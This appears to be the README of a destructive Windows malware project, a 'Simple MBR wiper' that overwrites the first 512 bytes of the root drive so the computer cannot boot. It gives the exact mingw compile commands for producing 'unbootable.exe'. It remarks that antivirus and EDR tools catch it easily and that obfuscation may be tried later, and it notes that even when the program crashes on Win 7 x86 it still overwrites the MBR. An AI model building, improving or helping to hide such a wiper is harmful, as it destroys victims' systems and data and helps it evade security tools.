Simple MBR wiper that overwrites the first 512 bytes of the root drive, and thus, preventing the computer from booting.

To compile the project into a single executable, do the following:

# Compile manifest into object file
i686-w64-mingw32-windres --input manifest.rc --output manifest.o

# Compile to 32-bit exe
i686-w64-mingw32-gcc -std=c++11 main.c manifest.o -o unbootable.exe -s -lws2_32 -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

As of now, the program is really simple, which also means that it can be easily detected by AVs/EDRs. Though, maybe I'll test out some obfuscation techniques in the future.

• Program crashes on Win 7 x86, though will still overwrite MBR
